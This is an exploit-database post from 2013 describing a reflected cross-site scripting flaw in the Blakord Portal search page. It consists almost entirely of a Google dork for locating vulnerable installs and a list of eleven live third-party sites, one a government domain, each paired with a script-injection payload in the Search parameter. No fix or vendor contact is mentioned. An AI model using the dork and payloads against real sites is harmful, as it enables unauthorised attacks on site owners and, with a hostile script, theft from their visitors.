Home / exploits Blakord Portal Cross site scripting vulnerability
Posted on 29 August 2013
<pre>#******************************************************************************** # Exploit Title : Blakord Portal Cross site scripting vulnerability # # Software link : http://www.cdv3k.com # # Exploit Author : Ashiyane Digital Security Team # # Tested on: Windows 7 , Linux # # Google Dork : intext:"Power by Blakord Portal" # # Date: 2013/08/28 # -------------------------------------------------------------------- # 1- Location : [Target]/foros/search.asp?Search=[xss] # # # Proof: # # http://asexxxya.com/foros/search.asp?Search="/><script>alert(1);</script> # # http://www.alenhxxxxxi.org/foros/search.asp?Search= "/><script>alert(1);</script> # # http://www.uniondexxxarez.com.ar/foros/search.asp?Search= "/><script>alert(1);</script> # # http://www.canalcasxxxo.com/foros/search.asp?Search= "/><script>alert(1);</script> # # http://www.portalcanixxa.com.ar/foros/search.asp?Search= "/><script>alert(1);</script> # # http://www.canalcastxxo.com/foros/search.asp?Search= "/><script>alert(1);</script> # # http://www.el-rxecreo.com/foros/search.asp?Search= "/><script>alert(1);</script> # # http://www.maczzxas.gob.ec/foros/search.asp?Search= "/><script>alert(1);</script> # # http://www.canibalxxxc.somee.com/foros/search.asp?Search= "/><script>alert(1);</script> # # http://www.congresox010en.com.ar/foros/search.asp?Search= "/><script>alert(1);</script> # # http://www.alldancexxsic.net//foros/search.asp?Search= "/><script>alert(1);</script> # # ###################### discovered by : ACC3SS ###################### </pre>
